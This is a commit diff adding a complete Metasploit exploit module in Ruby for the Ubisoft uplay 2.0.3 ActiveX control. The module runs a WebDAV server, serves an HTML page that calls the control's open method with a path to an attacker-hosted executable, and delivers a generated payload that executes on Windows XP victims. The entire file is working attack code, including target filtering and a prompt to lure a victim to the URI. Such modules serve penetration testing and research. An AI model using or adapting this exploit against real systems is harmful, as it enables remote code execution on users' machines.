Merge branch 'Meatballs1-uplay'
commit
647b587f75
|
@ -0,0 +1,430 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',
|
||||
'Description' => %q{
|
||||
The uplay ActiveX component allows an attacker to execute any command line action.
|
||||
User must sign in, unless auto-sign in is enabled and uplay must not already be
|
||||
running. Due to the way the malicious executable is served (WebDAV), the module
|
||||
must be run on port 80, so please make sure you have enough privilege to do that.
|
||||
Ubisoft released patch 2.04 as of Mon 20th July.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
||||
'phillips321 <phillips321[at]phillips321.co.uk>',
|
||||
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', 'http://osvdb.org/show/osvdb/84402'],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 29 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
|
||||
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
|
||||
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
|
||||
], self.class)
|
||||
|
||||
# WebDAV does not support SSL and must run over port 80.
|
||||
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def check_dependencies
|
||||
use_zlib
|
||||
end
|
||||
|
||||
def is_exploitable?(req)
|
||||
# Only engage Win XP SP3 targets
|
||||
req.headers['User-Agent'] =~ /NT 5\.1/
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
case request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, request)
|
||||
when 'GET'
|
||||
if request.uri_parts['Resource'].include? @uplay_uri
|
||||
if is_exploitable?(request)
|
||||
prompt_uplay(cli, request)
|
||||
else
|
||||
print_error("Not the target we want, will not engage.")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
else
|
||||
process_get(cli, request)
|
||||
end
|
||||
else
|
||||
vprint_status("#{request.method} => 404 (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
end
|
||||
|
||||
def prompt_uplay(cli, request)
|
||||
url = "http://"
|
||||
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
|
||||
|
||||
path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"
|
||||
|
||||
if path.length > 693
|
||||
fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters")
|
||||
return
|
||||
end
|
||||
|
||||
cmd = Rex::Text.encode_base64(path)
|
||||
|
||||
classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
|
||||
type = "application/x-uplaypc" # Unused but alternative to classid
|
||||
content = %Q|<html>
|
||||
<body>
|
||||
<script>
|
||||
x = document.createElement('OBJECT');
|
||||
x.classid='#{classid}';
|
||||
document.body.appendChild(x);
|
||||
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
|
||||
</script>
|
||||
</body>
|
||||
</html>|
|
||||
|
||||
print_status("GET => Exploit")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
webdav = "\\\\#{myhost}\\"
|
||||
|
||||
if blacklisted_path?(request.uri)
|
||||
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if (request.uri.include? @basename)
|
||||
print_status("GET => Payload")
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
# Treat index.html specially
|
||||
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
|
||||
vprint_status("GET => REDIRECT (#{request.uri})")
|
||||
resp = create_response(200, "OK")
|
||||
|
||||
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
|
||||
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
# Anything else is probably a request for a data file...
|
||||
vprint_status("GET => DATA (#{request.uri})")
|
||||
data = "HELLO!"
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
end
|
||||
|
||||
#
|
||||
# OPTIONS requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_options(cli, request)
|
||||
vprint_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'MS-Author-Via' => 'DAV',
|
||||
'DASL' => '<DAV:sql>',
|
||||
'DAV' => '1, 2',
|
||||
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
|
||||
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
|
||||
'Cache-Control' => 'private'
|
||||
}
|
||||
resp = create_response(207, "Multi-Status")
|
||||
headers.each_pair {|k,v| resp[k] = v }
|
||||
resp.body = ""
|
||||
resp['Content-Type'] = 'text/xml'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
#
|
||||
# PROPFIND requests sent by the WebDav Mini-Redirector
|
||||
#
|
||||
def process_propfind(cli, request)
|
||||
path = request.uri
|
||||
vprint_status("PROPFIND #{path}")
|
||||
body = ''
|
||||
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
my_uri = "http://#{my_host}/"
|
||||
|
||||
if path !~ /\/$/
|
||||
|
||||
if blacklisted_path?(path)
|
||||
vprint_status "PROPFIND => 404 (#{path})"
|
||||
resp = create_response(404, "Not Found")
|
||||
resp.body = ""
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
if path.index(".")
|
||||
vprint_status "PROPFIND => 207 File (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>
|
||||
|
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
else
|
||||
vprint_status "PROPFIND => 301 (#{path})"
|
||||
resp = create_response(301, "Moved")
|
||||
resp["Location"] = path + "/"
|
||||
resp['Content-Type'] = 'text/html'
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status "PROPFIND => 207 Directory (#{path})"
|
||||
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
||||
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
|
||||
if request["Depth"].to_i > 0
|
||||
trail = path.split("/")
|
||||
trail.shift
|
||||
case trail.length
|
||||
when 0
|
||||
body << generate_shares(path)
|
||||
when 1
|
||||
body << generate_files(path)
|
||||
end
|
||||
else
|
||||
vprint_status "PROPFIND => 207 Top-Level Directory"
|
||||
end
|
||||
|
||||
body << "</D:multistatus>"
|
||||
|
||||
body.gsub!(/\t/, '')
|
||||
|
||||
# send the response
|
||||
resp = create_response(207, "Multi-Status")
|
||||
resp.body = body
|
||||
resp['Content-Type'] = 'text/xml; charset="utf8"'
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def generate_shares(path)
|
||||
share_name = @share_name
|
||||
%Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{share_name}/</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype><D:collection/></lp1:resourcetype>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
def generate_files(path)
|
||||
trail = path.split("/")
|
||||
return "" if trail.length < 2
|
||||
|
||||
base = @basename
|
||||
exts = @extensions.gsub(",", " ").split(/\s+/)
|
||||
files = ""
|
||||
exts.each do |ext|
|
||||
files << %Q|
|
||||
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
|
||||
<D:href>#{path}#{base}.#{ext}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<lp1:resourcetype/>
|
||||
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
|
||||
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
|
||||
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
|
||||
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
|
||||
<lp2:executable>T</lp2:executable>
|
||||
<D:supportedlock>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:exclusive/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
<D:lockentry>
|
||||
<D:lockscope><D:shared/></D:lockscope>
|
||||
<D:locktype><D:write/></D:locktype>
|
||||
</D:lockentry>
|
||||
</D:supportedlock>
|
||||
<D:lockdiscovery/>
|
||||
<D:getcontenttype>application/octet-stream</D:getcontenttype>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
<D:ishidden b:dt="boolean">1</D:ishidden>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
|
|
||||
end
|
||||
|
||||
files
|
||||
end
|
||||
|
||||
def gen_timestamp(ttype=nil)
|
||||
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
|
||||
end
|
||||
|
||||
def gen_datestamp(ttype=nil)
|
||||
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
|
||||
end
|
||||
|
||||
# This method rejects requests that are known to break exploitation
|
||||
def blacklisted_path?(uri)
|
||||
share_path = "/#{@share_name}"
|
||||
payload_path = "#{share_path}/#{@basename}.exe"
|
||||
case uri
|
||||
when payload_path
|
||||
return false
|
||||
when share_path
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
@basename = rand_text_alpha(8)
|
||||
@share_name = rand_text_alpha(8)
|
||||
@extensions = "exe"
|
||||
|
||||
if datastore['EXPLOITPATH']
|
||||
@uplay_uri = datastore['EXPLOITPATH']
|
||||
else
|
||||
@uplay_uri = rand_text_alpha(8)
|
||||
end
|
||||
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
|
||||
|
||||
@exploit_unc = "\\\\#{myhost}\\"
|
||||
|
||||
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
|
||||
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
|
||||
end
|
||||
|
||||
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
|
||||
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")
|
||||
|
||||
super
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue